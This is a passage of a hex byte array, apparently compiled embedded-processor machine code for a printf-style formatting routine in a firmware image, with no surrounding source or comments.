0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xf7, 0xf8,
0x12, 0x77, 0x00, 0x00,
0xb8, 0x10, 0xfa, 0xec,
0x12, 0xdd, 0x00, 0x00,
0xbe, 0x23, 0x08, 0x5c,
0xa4, 0x65, 0x00, 0x40,
0xbc, 0x03, 0x08, 0x54,
0xe6, 0xfa, 0x00, 0x02,
0x33, 0x5a, 0x00, 0x04,
0x32, 0xf7, 0x00, 0x00,
0x32, 0xc0, 0x00, 0x00,
0xfb, 0x41, 0x06, 0x80,
0xb8, 0x10, 0xfc, 0x10,
0x30, 0x80, 0x00, 0x01,
0xea, 0xda, 0x00, 0x00,
0xea, 0xfa, 0x00, 0x04,
0x33, 0x5a, 0x00, 0x08,
0xfb, 0x41, 0x06, 0x80,
0xb8, 0x10, 0xfb, 0xf8,
0x10, 0x80, 0x00, 0x00,
0xea, 0xda, 0x00, 0x00,
0xea, 0xfa, 0x00, 0x04,
0x33, 0x5a, 0x00, 0x08,
0xfb, 0x41, 0x06, 0x80,
0x30, 0x80, 0x00, 0x01,
0xbc, 0xb6, 0xfb, 0xe0,
0x06, 0xf7, 0x00, 0x00,
0x0e, 0xd6, 0x00, 0x00,
0x30, 0x60, 0x00, 0x2d,
0xf0, 0x61, 0x00, 0x24,
0xb8, 0x00, 0xfb, 0xcc,
0xe8, 0xa1, 0x06, 0xb4,
0xe0, 0x7f, 0x00, 0x00,
0xa0, 0xa5, 0x00, 0x40,
0xf8, 0xa1, 0x06, 0xb4,
0xb8, 0x10, 0xf0, 0xbc,
0x93, 0x63, 0x00, 0x60,
0xe8, 0x81, 0x06, 0xb4,
0xe0, 0x7f, 0x00, 0x00,
0xa0, 0x84, 0x00, 0x08,
0xf8, 0x81, 0x06, 0xb4,
0xb8, 0x10, 0xf0, 0xa4,
0x93, 0x63, 0x00, 0x60,
0xe8, 0xc1, 0x06, 0xb4,
0xa4, 0x66, 0x00, 0x20,
0xbe, 0x03, 0x08, 0xf8,
0xa4, 0x66, 0x00, 0x10,
0xe8, 0x7a, 0x00, 0x00,
0x33, 0x5a, 0x00, 0x04,
0xe8, 0x81, 0x06, 0xb0,
0x00, 0xa0, 0x20, 0x00,
0x00, 0x85, 0x28, 0x00,
0x08, 0x80, 0x00, 0x00,
0xbc, 0x04, 0x00, 0x08,
0x20, 0x80, 0xff, 0xff,
0xfb, 0x41, 0x06, 0x80,
0xf8, 0x83, 0x00, 0x00,
0xf8, 0xa3, 0x00, 0x04,
0xb8, 0x00, 0xf4, 0xa4,
0xe0, 0x7f, 0x00, 0x00,
0xaa, 0x43, 0x00, 0x6c,
0xbc, 0x12, 0x09, 0xcc,
0xe8, 0x81, 0x06, 0xb4,
0xa0, 0x84, 0x00, 0x10,
0xf8, 0x81, 0x06, 0xb4,
0xb8, 0x10, 0xf0, 0x44,
0x93, 0x63, 0x00, 0x60,
0xe8, 0xba, 0x00, 0x00,
0xf8, 0xa1, 0x06, 0xac,
0xbe, 0x45, 0xfb, 0xac,
0x31, 0x1a, 0x00, 0x04,
0xe0, 0x7f, 0x00, 0x00,
0xb8, 0x10, 0xf0, 0x24,
0x13, 0x48, 0x00, 0x00,
0x30, 0x60, 0x00, 0x2b,
0xf0, 0x61, 0x00, 0x24,
0xe0, 0x7f, 0x00, 0x00,
0xb8, 0x10, 0xf0, 0x14,
0x93, 0x63, 0x00, 0x60,
0xe8, 0x81, 0x06, 0xb4,
0xe0, 0x7f, 0x00, 0x00,
0xa0, 0x84, 0x00, 0x01,
0xf8, 0x81, 0x06, 0xb4,
0xb8, 0x10, 0xef, 0xfc,
0x93, 0x63, 0x00, 0x60,
0xe0, 0x61, 0x00, 0x24,
0xbe, 0x23, 0x08, 0x7c,
0x30, 0x60, 0x00, 0x20,
0xf0, 0x61, 0x00, 0x24,
0xe0, 0x7f, 0x00, 0x00,
0xb8, 0x10, 0xef, 0xe0,
0x93, 0x63, 0x00, 0x60,
0x10, 0xc0, 0x00, 0x00,
0x60, 0x66, 0x00, 0x04,
0xe0, 0xbf, 0x00, 0x00,
0x10, 0x63, 0x30, 0x00,
0x10, 0x63, 0x18, 0x00,
0x10, 0x7b, 0x18, 0x00,
0x93, 0x65, 0x00, 0x60,
0x30, 0x9b, 0xff, 0xd0,
0x30, 0xc3, 0xff, 0xd0,
0x22, 0x40, 0x00, 0x09,
0x16, 0x44, 0x90, 0x03,
0xbe, 0xb2, 0xff, 0xd8,
0x33, 0xff, 0x00, 0x01,
0xf8, 0xc1, 0x06, 0xac,
0xb8, 0x10, 0xef, 0xa8,
0x30, 0x7b, 0xff, 0xe0,
0xe8, 0x61, 0x06, 0xa8,
0xfb, 0x61, 0x06, 0x84,
0xaa, 0x43, 0xff, 0xff,
0xbe, 0x12, 0x09, 0x20,
0x30, 0x80, 0x00, 0x06,
0xaa, 0x5b, 0x00, 0x67,
0xbc, 0x12, 0x08, 0xe4,
0xaa, 0x5b, 0x00, 0x47,
0xbc, 0x12, 0x08, 0xdc,
0xe8, 0x9a, 0x00, 0x00,
0xe8, 0xba, 0x00, 0x04,
0x33, 0x5a, 0x00, 0x08,
0xfb, 0x41, 0x06, 0x80,
0xf8, 0x81, 0x06, 0x88,
0xf8, 0xa1, 0x06, 0x8c,
0x10, 0xc5, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xc5, 0x28,
0x10, 0xa4, 0x00, 0x00,
0xbe, 0x03, 0x08, 0xe8,
0x12, 0x63, 0x00, 0x00,
0xe8, 0xa1, 0x06, 0x88,
0xe8, 0xc1, 0x06, 0x8c,
0x10, 0xe0, 0x00, 0x00,
0x11, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xb4, 0x68,
0x80, 0x00, 0x00, 0x00,
0xbe, 0x43, 0x0b, 0xa8,
0x30, 0x60, 0x00, 0x2d,
0x30, 0x7b, 0xff, 0xbb,
0x22, 0x40, 0x00, 0x02,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x08, 0x5c,
0x10, 0xc0, 0x00, 0x00,
0x33, 0x80, 0x00, 0x03,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xa0, 0xff, 0x88,
0xf8, 0xa1, 0x06, 0xb8,
0xf8, 0xc1, 0x06, 0x98,
0xb8, 0x10, 0xfa, 0x60,
0x13, 0x3c, 0x00, 0x00,
0xaa, 0x5b, 0x00, 0x43,
0xbe, 0x12, 0x07, 0x0c,
0x32, 0xc1, 0x00, 0x44,
0xe8, 0xc1, 0x06, 0xb4,
0xa4, 0x66, 0x00, 0x10,
0xbe, 0x23, 0x07, 0x00,
0x10, 0xb6, 0x00, 0x00,
0xe8, 0x7a, 0x00, 0x00,
0x33, 0x5a, 0x00, 0x04,
0xfb, 0x41, 0x06, 0x80,
0x33, 0x20, 0x00, 0x01,
0xf0, 0x61, 0x01, 0x24,
0x32, 0x61, 0x01, 0x24,
0xa8, 0x79, 0xff, 0xff,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0xfa, 0x61, 0x06, 0xb8,
0xf0, 0x01, 0x00, 0x24,
0xb8, 0x10, 0xee, 0x78,
0x87, 0x99, 0x18, 0x00,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xa0, 0xff, 0x94,
0xf8, 0xa1, 0x06, 0x94,
0xe8, 0xc1, 0x06, 0xb4,
0xa4, 0x66, 0x00, 0x20,
0xbe, 0x03, 0x03, 0x5c,
0xa4, 0x66, 0x00, 0x10,
0xea, 0xda, 0x00, 0x00,
0xea, 0xfa, 0x00, 0x04,
0x33, 0x5a, 0x00, 0x08,
0xfb, 0x41, 0x06, 0x80,
0xe8, 0xc1, 0x06, 0xb4,
0xa4, 0x66, 0x00, 0x01,
0xbe, 0x03, 0xf8, 0xf0,
0x30, 0x80, 0x00, 0x02,
0x80, 0x76, 0xb8, 0x00,
0xbc, 0x03, 0xf8, 0xe4,
0xe8, 0x61, 0x06, 0xb4,
0xa0, 0x63, 0x00, 0x02,
0xf8, 0x61, 0x06, 0xb4,
0xb8, 0x00, 0xf8, 0xd4,
0xf0, 0x01, 0x00, 0x24,
0xe8, 0xba, 0x00, 0x00,
0x33, 0x5a, 0x00, 0x04,
0xfb, 0x41, 0x06, 0x80,
0xf8, 0xa1, 0x06, 0xb8,
0xbe, 0x05, 0x08, 0x28,
0x33, 0x80, 0x00, 0x06,
0xaa, 0x5b, 0x00, 0x53,
0xbe, 0x12, 0x06, 0x50,
0x32, 0xc1, 0x00, 0x4c,
0xe8, 0xc1, 0x06, 0xb4,
0xa6, 0x66, 0x00, 0x10,
0xbc, 0x33, 0x06, 0x40,
0xe8, 0x81, 0x06, 0xa8,
0xbe, 0x44, 0x0c, 0x8c,
0x10, 0xd3, 0x00, 0x00,
0xe8, 0xa1, 0x06, 0xb8,
0xb9, 0xf4, 0x51, 0x88,
0x10, 0xe4, 0x00, 0x00,
0xbc, 0x03, 0x0c, 0xf8,
0xe8, 0xa1, 0x06, 0xb8,
0xe8, 0xc1, 0x06, 0xa8,
0x17, 0x25, 0x18, 0x00,
0x16, 0x59, 0x30, 0x01,
0xbe, 0x52, 0x0b, 0xd0,
0x10, 0x60, 0x00, 0x00,
0xbe, 0x59, 0x0c, 0x74,
0x13, 0x99, 0x00, 0x00,
0xfa, 0x61, 0x06, 0x98,
0xb8, 0x00, 0xf8, 0xcc,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xc0, 0xff, 0x74,
0xf8, 0xc1, 0x06, 0x94,
0xb8, 0x00, 0xff, 0x34,
0xe8, 0xa1, 0x06, 0xb4,
0xe0, 0x7f, 0x00, 0x00,
0xa0, 0xa5, 0x00, 0x20,
0xf8, 0xa1, 0x06, 0xb4,
0xb8, 0x10, 0xed, 0x40,
0x93, 0x63, 0x00, 0x60,
0xe8, 0x81, 0x06, 0xb4,
0xea, 0xda, 0x00, 0x00,
0x12, 0xe0, 0xb0, 0x00,
0x12, 0xc0, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x60, 0xff, 0x74,
0xa0, 0x84, 0x00, 0x02,
0xf8, 0x81, 0x06, 0xb4,
0x33, 0x5a, 0x00, 0x04,
0x30, 0x80, 0x00, 0x02,
0xf8, 0x61, 0x06, 0x94,
0xfb, 0x41, 0x06, 0x80,
0xb8, 0x10, 0xf8, 0x00,
0x33, 0x60, 0x00, 0x78,
0xe8, 0xc1, 0x06, 0xb4,
0xe0, 0x7f, 0x00, 0x00,
0xa0, 0xc6, 0x00, 0x80,
0xf8, 0xc1, 0x06, 0xb4,
0xb8, 0x10, 0xec, 0xf0,
0x93, 0x63, 0x00, 0x60,
0xe0, 0x7f, 0x00, 0x00,
0x90, 0x63, 0x00, 0x60,
0xaa, 0x43, 0x00, 0x2a,
0xbe, 0x12, 0x0e, 0x78,
0x33, 0xff, 0x00, 0x01,
0x13, 0x63, 0x00, 0x00,
0x10, 0x60, 0x00, 0x00,
0xf8, 0x61, 0x06, 0xa8,
0x30, 0x7b, 0xff, 0xd0,
0x22, 0x40, 0x00, 0x09,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0xec, 0xc0,
0x10, 0xe0, 0x00, 0x00,
0x60, 0x67, 0x00, 0x04,
0xe0, 0xbf, 0x00, 0x00,
0x10, 0x63, 0x38, 0x00,
0x10, 0x63, 0x18, 0x00,
0x10, 0x63, 0xd8, 0x00,
0x93, 0x65, 0x00, 0x60,
0x30, 0x9b, 0xff, 0xd0,
0x30, 0xe3, 0xff, 0xd0,
0x22, 0x40, 0x00, 0x09,
0x16, 0x44, 0x90, 0x03,
0xbe, 0xb2, 0xff, 0xd8,
0x33, 0xff, 0x00, 0x01,
0xf8, 0xe1, 0x06, 0xa8,
0xbe, 0xa7, 0xec, 0x84,
0x30, 0xa0, 0xff, 0xff,
0xf8, 0xa1, 0x06, 0xa8,
0xb8, 0x10, 0xec, 0x7c,
0x30, 0x7b, 0xff, 0xe0,
0xbe, 0x37, 0x06, 0xa8,
0x10, 0xbd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xb8, 0x00, 0xf5, 0x10,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x48, 0x04,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xf2, 0xf4,
0x10, 0xbd, 0x00, 0x00,
0xb8, 0x00, 0xf1, 0x50,
0xaa, 0x44, 0x00, 0x01,
0xbe, 0x12, 0x00, 0xd4,
0x30, 0x61, 0x02, 0x80,
0xf8, 0x61, 0x06, 0xb8,
0x22, 0x40, 0x00, 0x01,
0x16, 0x52, 0x20, 0x03,
0xbc, 0x52, 0x00, 0x48,
0xaa, 0x44, 0x00, 0x02,
0xbc, 0x12, 0x02, 0xa4,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xa0, 0xff, 0xa8,
0xeb, 0x81, 0x06, 0xa8,
0xb9, 0xf4, 0xe9, 0x58,
0x80, 0x00, 0x00, 0x00,
0x16, 0x43, 0xe0, 0x01,
0xbe, 0xb2, 0x00, 0x0c,
0x13, 0x23, 0x00, 0x00,
0x13, 0x83, 0x00, 0x00,
0xe8, 0x61, 0x06, 0xa8,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x80, 0xff, 0xa8,
0xf8, 0x61, 0x06, 0x98,
0xf8, 0x81, 0x06, 0xb8,
0xb8, 0x00, 0xf7, 0x44,
0xb0, 0x00, 0x20, 0x00,
0x60, 0x76, 0x00, 0x00,
0x90, 0xb7, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x80, 0xa3, 0x28, 0x00,
0xe8, 0x61, 0x06, 0xb8,
0x90, 0x96, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x12, 0xc4, 0x00, 0x00,
0x30, 0x63, 0xff, 0xff,
0xf8, 0x61, 0x06, 0xb8,
0x80, 0x64, 0x28, 0x00,
0xe8, 0x81, 0x06, 0xb8,
0xa4, 0xd7, 0x00, 0x07,
0x30, 0xc6, 0x00, 0x30,
0xf0, 0xc4, 0x00, 0x00,
0xbe, 0x23, 0xff, 0xb8,
0x12, 0xe5, 0x00, 0x00,
0xe8, 0xa1, 0x06, 0xb4,
0xa4, 0x65, 0x00, 0x01,
0xbc, 0x03, 0xf6, 0xc4,
0xaa, 0x46, 0x00, 0x30,
0xbe, 0x12, 0xf6, 0xbc,
0x30, 0x84, 0xff, 0xff,
0xf8, 0x81, 0x06, 0xb8,
0x30, 0x60, 0x00, 0x30,
0xf0, 0x64, 0x00, 0x00,
0xb8, 0x00, 0xf6, 0xa8,
0xbe, 0x36, 0x00, 0x38,
0x32, 0x61, 0x02, 0x80,
0xbe, 0x36, 0x00, 0x1c,
0x30, 0x81, 0x02, 0x7f,
0x22, 0x40, 0x00, 0x09,
0x16, 0x57, 0x90, 0x03,
0xbe, 0x52, 0x00, 0x24,
0x10, 0xb6, 0x00, 0x00,
0x30, 0x81, 0x02, 0x7f,
0x10, 0xc4, 0x00, 0x00,
0xf8, 0x81, 0x06, 0xb8,
0x30, 0x77, 0x00, 0x30,
0xf0, 0x66, 0x00, 0x00,
0xb8, 0x00, 0xf6, 0x70,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xd7, 0x00, 0x00,
0x30, 0xe0, 0x00, 0x00,
0x31, 0x00, 0x00, 0x0a,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x92, 0xd8,
0x32, 0x73, 0xff, 0xff,
0x10, 0xb6, 0x00, 0x00,
0x30, 0x64, 0x00, 0x30,
0x30, 0xe0, 0x00, 0x00,
0x31, 0x00, 0x00, 0x0a,
0xf0, 0x73, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x87, 0xc0,
0x10, 0xd7, 0x00, 0x00,
0x12, 0xc3, 0x00, 0x00,
0xbe, 0x36, 0xff, 0xc0,
0x12, 0xe4, 0x00, 0x00,
0xbc, 0x36, 0x00, 0x14,
0x22, 0x40, 0x00, 0x09,
0x16, 0x44, 0x90, 0x03,
0xbe, 0x52, 0xff, 0xb0,
0x10, 0xb6, 0x00, 0x00,
0x32, 0x73, 0xff, 0xff,
0xfa, 0x61, 0x06, 0xb8,
0xb8, 0x10, 0xff, 0x90,
0x10, 0xd3, 0x00, 0x00,
0xbe, 0x23, 0x02, 0x18,
0xa4, 0x66, 0x00, 0x40,
0xbc, 0x03, 0x02, 0x10,
0xe6, 0xfa, 0x00, 0x02,
0x33, 0x5a, 0x00, 0x04,
0xfb, 0x41, 0x06, 0x80,
0x32, 0xf7, 0x00, 0x00,
0x32, 0xc0, 0x00, 0x00,
0xb8, 0x00, 0xfc, 0x9c,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x60, 0xff, 0xc8,
0x32, 0xf7, 0x00, 0x01,
0x32, 0x73, 0x00, 0x01,
0xf8, 0x78, 0x00, 0x00,
0xf8, 0x98, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x14,
0x30, 0xb8, 0x00, 0x08,
0xbe, 0x37, 0x06, 0xb0,
0x10, 0xbd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xbc, 0x29, 0x00, 0x0c,
0xe8, 0x81, 0x06, 0x9c,
0xbc, 0x04, 0xed, 0x64,
0xea, 0x61, 0x00, 0x58,
0xe8, 0xc1, 0x06, 0xa4,
0x32, 0xf7, 0x00, 0x01,
0x32, 0x73, 0x00, 0x01,
0x30, 0x60, 0x00, 0x01,
0xf8, 0x65, 0x00, 0x04,
0xf8, 0xc5, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x18,
0x30, 0x85, 0x00, 0x08,
0xbe, 0x37, 0x08, 0x2c,
0x12, 0x77, 0x00, 0x00,
0x10, 0x9d, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0x16, 0xc9, 0x00, 0x00,
0xbc, 0x76, 0x01, 0xf4,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x01, 0xa8,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x3c,
0xb8, 0x10, 0x00, 0x24,
0x32, 0xf7, 0x00, 0x10,
0x10, 0x9d, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0x32, 0xd6, 0xff, 0xf0,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x01, 0x88,
0x32, 0xf7, 0x00, 0x10,
0x32, 0x73, 0x00, 0x01,
0x30, 0x60, 0x00, 0x10,
0xf8, 0x64, 0x00, 0x04,
0xfb, 0x44, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xff, 0xcc,
0x30, 0x84, 0x00, 0x08,
0xbe, 0x17, 0xff, 0xbc,
0x12, 0x77, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x45, 0x44,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xf0, 0x34,
0x12, 0x77, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x9c,
0x10, 0x9d, 0x00, 0x00,
0xe8, 0x81, 0x06, 0x94,
0xb0, 0x00, 0x10, 0x00,
0x60, 0xd6, 0x00, 0x00,
0x90, 0xb7, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x90, 0xa5, 0x00, 0x41,
0x80, 0xa6, 0x28, 0x00,
0xe8, 0xc1, 0x06, 0xb8,
0xa4, 0x77, 0x00, 0x0f,
0xc0, 0xe3, 0x20, 0x00,
0x30, 0xc6, 0xff, 0xff,
0x90, 0x96, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0x90, 0x84, 0x00, 0x41,
0xf8, 0xc1, 0x06, 0xb8,
0x80, 0x64, 0x28, 0x00,
0x12, 0xc4, 0x00, 0x00,
0xf0, 0xe6, 0x00, 0x00,
0xbe, 0x23, 0xff, 0xb0,
0x12, 0xe5, 0x00, 0x00,
0xb8, 0x00, 0xf4, 0x60,
0xf8, 0xc1, 0x06, 0x80,
0xea, 0xda, 0x00, 0x00,
0x02, 0xe0, 0xb0, 0x00,
0x02, 0xd7, 0xb8, 0x00,
0x0a, 0xc0, 0x00, 0x00,
0xbc, 0x16, 0x00, 0x08,
0x22, 0xc0, 0xff, 0xff,
0xb8, 0x10, 0xf8, 0x18,
0x30, 0x80, 0x00, 0x01,
0xea, 0xe1, 0x00, 0x5c,
0xea, 0x61, 0x00, 0x58,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x4c,
0xb8, 0x10, 0xea, 0x04,
0x12, 0xf7, 0xb0, 0x00,
0xea, 0xda, 0x00, 0x00,
0x12, 0xe0, 0xb0, 0x00,
0x12, 0xc0, 0x00, 0x00,
0x33, 0x5a, 0x00, 0x04,
0xfb, 0x41, 0x06, 0x80,
0xb8, 0x10, 0xf3, 0xc0,
0x30, 0x80, 0x00, 0x01,
0xea, 0xda, 0x00, 0x00,
0x12, 0xe0, 0xb0, 0x00,
0x12, 0xc0, 0x00, 0x00,
0x33, 0x5a, 0x00, 0x04,
0xfb, 0x41, 0x06, 0x80,
0xb8, 0x10, 0xf3, 0xa4,
0x10, 0x83, 0x00, 0x00,
0xea, 0xda, 0x00, 0x00,
0x12, 0xe0, 0xb0, 0x00,
0x12, 0xc0, 0x00, 0x00,
0x33, 0x5a, 0x00, 0x04,
0xfb, 0x41, 0x06, 0x80,
0xb8, 0x00, 0xfa, 0x90,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x44, 0x34,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xef, 0x24,
0x10, 0xbd, 0x00, 0x00,
0xb8, 0x00, 0xed, 0x24,
0xea, 0x61, 0x00, 0x58,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x4c,
0xb8, 0x10, 0xec, 0x28,
0x12, 0xf7, 0xb0, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x3c,
0x12, 0xf7, 0xb0, 0x00,
0x32, 0x73, 0x00, 0x01,
0xfb, 0x44, 0x00, 0x00,
0xfa, 0xc4, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x18,
0x30, 0x84, 0x00, 0x08,
0xbe, 0x37, 0x07, 0xb0,
0x12, 0x77, 0x00, 0x00,
0x10, 0x9d, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xe8, 0x61, 0x06, 0x9c,
0xe8, 0xa1, 0x06, 0xb8,
0x32, 0x73, 0x00, 0x01,
0x12, 0xf7, 0x18, 0x00,
0xf8, 0xa4, 0x00, 0x00,
0xf8, 0x64, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xea, 0xfc,
0x30, 0xa4, 0x00, 0x08,
0xb8, 0x00, 0xea, 0xe4,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xc0, 0x00, 0x00,
0xb9, 0xf4, 0x4e, 0x80,
0x30, 0xe0, 0x00, 0x08,
0x32, 0x61, 0x01, 0x24,
0x11, 0x16, 0x00, 0x00,
0xe8, 0xa1, 0x06, 0xf0,
0xe8, 0xfa, 0x00, 0x00,
0xb9, 0xf4, 0x09, 0xc8,
0x10, 0xd3, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbe, 0x12, 0x07, 0x7c,
0x13, 0x23, 0x00, 0x00,
0x33, 0x5a, 0x00, 0x04,
0xfb, 0x41, 0x06, 0x80,
0xb8, 0x10, 0xf8, 0xec,
0xa8, 0x79, 0xff, 0xff,
0xbc, 0x23, 0x00, 0xcc,
0xe8, 0xc1, 0x06, 0xb4,
0xa4, 0x66, 0x00, 0x40,
0xbc, 0x03, 0x00, 0xc0,
0xe8, 0x7a, 0x00, 0x00,
0xe8, 0x81, 0x06, 0xb0,
0x33, 0x5a, 0x00, 0x04,
0xfb, 0x41, 0x06, 0x80,
0xf4, 0x83, 0x00, 0x00,
0xb8, 0x00, 0xeb, 0xbc,
0xe0, 0x7f, 0x00, 0x00,
0xb8, 0x10, 0xe7, 0x70,
0x93, 0x63, 0x00, 0x60,
0xe8, 0x61, 0x06, 0xb8,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xc0, 0x00, 0x00,
0xf8, 0x61, 0x00, 0x30,
0xb9, 0xf4, 0x4e, 0x00,
0x30, 0xe0, 0x00, 0x08,
0xe8, 0x81, 0x06, 0xa8,
0xbe, 0x44, 0x06, 0x58,
0x13, 0x20, 0x00, 0x00,
0x12, 0x79, 0x00, 0x00,
0xb8, 0x10, 0x00, 0x0c,
0x32, 0xe1, 0x01, 0x24,
0x13, 0x23, 0x00, 0x00,
0xe8, 0x61, 0x00, 0x30,
0xc8, 0xf3, 0x18, 0x00,
0xbe, 0x07, 0x00, 0x3c,
0x10, 0xd7, 0x00, 0x00,
0xe8, 0xa1, 0x06, 0xf0,
0xb9, 0xf4, 0x09, 0x28,
0x11, 0x16, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbe, 0x12, 0x06, 0xdc,
0x10, 0x79, 0x18, 0x00,
0xe8, 0xa1, 0x06, 0xa8,
0x16, 0x43, 0x28, 0x01,
0xbc, 0x52, 0x00, 0x14,
0x16, 0x43, 0x28, 0x00,
0xbe, 0x32, 0xff, 0xc4,
0x32, 0x73, 0x00, 0x04,
0x13, 0x23, 0x00, 0x00,
0xbe, 0x39, 0x03, 0x90,
0x13, 0x99, 0x00, 0x00,
0xfb, 0x21, 0x06, 0x98,
0xb8, 0x00, 0xf2, 0x4c,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x3c,
0xb8, 0x10, 0xed, 0x38,
0x12, 0xf7, 0xb0, 0x00,
0xe8, 0x7a, 0x00, 0x00,
0xe8, 0xa1, 0x06, 0xb0,
0x33, 0x5a, 0x00, 0x04,
0xfb, 0x41, 0x06, 0x80,
0xf8, 0xa3, 0x00, 0x00,
0xb8, 0x00, 0xeb, 0x00,
0x33, 0x80, 0x00, 0x03,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xa0, 0xff, 0xc4,
0xf8, 0xa1, 0x06, 0xb8,
0xf8, 0xc1, 0x06, 0x98,
0xb8, 0x10, 0xf2, 0x0c,
0x13, 0x3c, 0x00, 0x00,
0xe8, 0xa1, 0x06, 0xa8,
0xbe, 0x25, 0xf7, 0x24,
0x30, 0xc0, 0x00, 0x01,
0xf8, 0xc1, 0x06, 0xa8,
0xb8, 0x00, 0xf7, 0x18,
0xe8, 0xc1, 0x06, 0xb4,
0x33, 0xff, 0x00, 0x01,
0xe0, 0x7f, 0x00, 0x00,
0xa0, 0xc6, 0x00, 0x20,
0xf8, 0xc1, 0x06, 0xb4,
0xb8, 0x10, 0xe6, 0x74,
0x93, 0x63, 0x00, 0x60,
0xf8, 0x81, 0x06, 0xa8,
0xb8, 0x00, 0xf6, 0xf4,
0xe8, 0xa1, 0x06, 0x88,
0xe8, 0xc1, 0x06, 0x8c,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xbd, 0x54,
0x80, 0x00, 0x00, 0x00,
